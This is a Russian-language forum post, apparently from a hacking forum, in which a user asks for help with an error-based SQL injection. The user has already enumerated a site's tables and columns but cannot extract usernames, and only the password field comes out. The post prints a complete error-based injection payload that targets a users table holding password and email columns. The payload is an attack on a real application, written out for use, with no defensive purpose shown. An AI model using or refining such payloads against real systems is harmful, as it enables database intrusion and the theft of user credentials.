26.07.2014, 01:30
|
|
Познающий
Регистрация: 18.10.2009
Сообщений: 80
Провел на форуме:
1180165
Репутация:
11
|
|
blink error based inj,
таблицы и колонки достаются нормально, но при попытке достать даные, говорит что некоторые поля несуществуют "Unknown column 'users.user_name' in 'field list'"
запрос выда
Код:
' or 1+1=0 and (select 1 from(select count(*),concat((select (select
(SELECT concat(0x7e,0x27,cast(users.user_name as char),0x27,0x7e) FROM `mydb`.users LIMIT 0,1) ) from
information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 --
users
id
user_name
password
role
userID
email
passwd
loginEnabled
screenName
firstName
Из всех полей выводит только пассворд. Когда пробую вывести что-то другое Unknown column '' in 'field list' ...
Помогите, пожалуйста. |
|
|